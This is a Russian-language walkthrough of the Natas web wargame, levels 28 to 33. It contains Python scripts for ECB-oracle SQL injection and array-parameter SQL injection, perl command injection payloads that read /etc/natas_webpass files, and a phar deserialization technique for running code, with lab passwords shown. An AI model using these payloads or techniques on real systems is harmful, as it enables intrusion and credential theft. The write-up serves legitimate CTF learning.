Natas Web. Прохождение CTF площадки, направленной на эксплуатацию Web-уязвимостей. Часть 5
В данной статье мы разберемся с эксплуатацией некоторых WEB-узвимостей на примере прохождения варгейма Natas. Каждый уровень имеет доступ к паролю следующего уровня. Все пароли также хранятся в файлах /etc/natas_webpass/. Например, пароль для natas5 хранится в файле /etc/natas_webpass/natas5 и доступен для чтения только для пользователей natas4 и natas5.
Прошлые части: часть 1, часть 2, часть 3 и часть 4.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
level 28
Отправив любой запрос, видим переадресацию на другую страницу со странным запросом и кодировке base64, декодирование которого ничего не дает.
Отправим любой запрос в query. Получаем ошибку, по которой становится понятно, что при переадресации используется шифрование и на данной странице запрос расшифровывается перед тем, как передается в БД. То есть нам необходимо Зашифровать нашу иньекцию и отпаравить на сервер, но мы не знаем ключа. Зато у нас есть Шифратор — это и есть сервер.
Для начала разберемсся с шифрованием. Отправим две разные строки «qwerty» и «asdfgh» и проанализируем, как они будут преобразованы.
В ответ мы получаем идентичные строки, которые в определенном месте имеют отличительную последовательность. Так как начало и конец у двух ШТ (шифр текст) одинаковые, то можно сделать следующие выводы:
- используется начальное дополнение к ОТ (открытый текст);
- имеется конечное дополнение к ОТ;
- Используется режим ECB, так как при разных ОТ последние блоки ШТ одинаковы, т. е. блоки независимы друг от друга.
Идея следующая: запрос к БД посылаем на шифрование, но он будет преобразован и поэтому при расшифровании, иньекция не будет проходить. Необходимо разобраться с дополнениями, чтобы точно расчитать блоки, где будет зашифрована именно наша полезная нагрузка. Тогда после шифрования, мы заберем из запроса наши блоки и отправим на сервер только их. На сервере они будут расшифрованы и, так как они без дополнения, — выполнены.
Идея представлена на четырех изображениях:
- Представление 5-ти блоков.
- Шифратор с начальным и конечным дополнением, который шифрует пустую строку.
- Шифрование строки «TEXTTEXTTEXTTEXT».
- Избавляемся от дополнений путем добавления перед и после нашей строки необходимого количества символов, чтобы вынести ее в отдельный блок. Забираем из ШТ только второй блок.
Таким обрахом мы получили только нашу зашифрованную строку на неизвестном нам ключе!!!
Необходимые данные:
- Режим шифрования (известно — ECB)
- Длина блока (известно — 16)
- Длина начального дополнения (неизвестно)
- Длина нашего текста (известно — «SELECT password
AS joke FROM users»)
Необходимо выяснить длину начального заполнения. Так как первые два блока одинаковы, мы будем посылать разное количество символов, и как только третий блок перестанет меняться, мы найдем необходимо количество символов, чтобы его дополнить. Это 10 символов. Ниже представлена реализация вышеупомянутого алгоритма.
import base64
import requests
from urlparse import urlsplit
from urllib2 import unquote
def ChiperQuery(url, auth, query):
resp = requests.post(url, auth=auth, data={'query': query})
query_param = unquote(urlsplit(resp.url)[3][6:])
byte_decode_query = bytearray(base64.b64decode(query_param))
return byte_decode_query
def SendPayload(url, auth, payload):
enc_payload = base64.b64encode(bytes(payload))
ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload})
return ret.text
url = "http://natas28.natas.labs.overthewire.org/"
auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF")
query = "SELECT password AS joke FROM users"
query += " " * (16-len(query)%16)
plaintext = 'b'*10 + query + chr(16)*16
chip_query = ChiperQuery(url, auth, plaintext)
st_pos = len(query)
count = st_pos+16
result = SendPayload(url, auth, chip_query[st_pos:st_pos+count])
print(result)
Получаем пароль.
level 29
Сложно догадаться, что perl код вызывает функцию командной строки и передает в нее комады указанные в данных файл (которые есть возможность выбирать). Дело в том, что мы можем замкнуть конвеер из «exec | команда_чтения файл_с_командами» в «exec | команда_чтения | наша_команда_сmd».
Но дело в том, что наша команда будет выводиться в консоль, а не на сайт. Для этого нужно добавить следующую команду замены символов в потоках ввода/вывода:»| tr `до` `после`».
Так как команда выполнилась прочитаем из указанного файла пароль. Но нам говорят, что мы не можем этого сделать…
Воспользуемся фильтрацие командной строки и вставим в любых местах кавычки, которые при выполнении команды сотрутся.
Забираем пароль.
level 30
Просмотрим исходный код. Здесь используется метод quote (), который экранирует все специальные символы в строке. Но он экранирует именно в строке, что дает нам право на эксплуатацию иньекции, если бы мы использовали, к примеру — массив (при этом будет принят нулевой элемент).
Давайте придумаем нагрузку для запроса
Select * FROM users where username = 'username' and password = 'password';
Так как имя пользователя мы знаем — natas31, то в пароль внедряем верное условие: '' or 1. Тогда наш запрос станет таким
Select * FROM users where username = 'natas31' and password = '' or 1;
А теперь осталось послать массив.
import requests
url = "http://natas30.natas.labs.overthewire.org/index.pl"
s = requests.Session()
s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e')
args = { "username": "natas31", "password": ["'' or 1", 2] }
r = s.post(url, data=args)
print(r.text)
Забираем пароль.
level 31
Сразу становится понятна суть сервиса: из csv файла мы получим таблицу в html.
Посмотрим исходный код.
И так, что самое интересное: так это строка while (<$file>), при том что file — это строка из параметра. Таким образом есть возможность выполнить код.
Отправим любой csv файл и перехватим запрос в Burp Suite.
Теперь допишем команду в качестве параметра.
?/bin/cat%20/etc/natas_webpass/natas32%20|
Для вызова нагрузки из параметра добавим следующие строки:
-----------------------------716973545450730846281908502
Content-Disposition: form-data; name="file";
Content-Type: text/csv
ARGV
Получаем пароль.
level 32
Открываем страницу, где нам говорят, что нужно доказать выполнение кода и выполнить файл webroot.
Если посмотреть код, он точно такой же как и на прошлом уровне. Тогда эксплуатируем уязвимость как в прошлый раз. Давайте найдем файл webroot. Для этого просмотрим дирректорию, используя в качестве нагрузки: ls -la |
Получаем список файлов. Webroot там нет, но есть странная программа getpassword.
Выполняем ее.
Получаем пароль для последнего уровня.
level 33
Снова форма загрузки файлов.
Просмотрим исходный код.
Таким образом мы должны загрузить на сервер файл, размером до 4 Мб и если md5 от содержимого файла равно эталонному значению, он выполнится в интерпретаторе php. Смотрим далее. Мы можем контролировать имя файла и его содержимое.
Скажу сразу, что это сложная уязвимость, с которой я познакомился пол года назад. Она направлена на то, что мы можем загрузить на сервер файл любого типа и с его содержимым будут произведены какие-либо операции. О phar файлах написано тут. Если кратко, то специальный архив php, представляющий собой сериализованные данные. При этом чтение потока phar приведет к исполнению кода. Таким образом можно сериализоваьб код, и отправить серверу. При вычислении md5 будет прочитан поток — что приведет к исполнению кода.
Таким образом сначала создадим php файл, который прочитает флаг.
Загрузим его на сервер. Не забываем менять имя в Burp Suite.
Получаем ответ сервера… Ок. Теперь создадим phar архив, который при выполнении изменит нужные нам значения (хеш всегда юудет верен и имя файла, который уже был загружен на сервер). Так мы пройдем проверку и сервер выполнит shell.php.
startBuffering();
$phar->addFromString("123.txt", '123');
$phar->setStub("");
$s = new Shell();
$phar->setMetadata($s);
$phar->stopBuffering();
?>
Перед компилирование в файле /etc/php/x.x/php.ini нужно изменить параметр phar.readonly на Off.
Далее выполняем php shell.php и у нас появляется файл .phar. Отправляем его на сервер и изменяем имя.
Так у нас есть оба файла это архив и шелл. Теперь нужно вызвать чтение файла из архива, что и приведет к исполнению кода.
Получаем пароль.
Вот такой была площадка Natas. Вы можете присоединиться к нам в Telegram.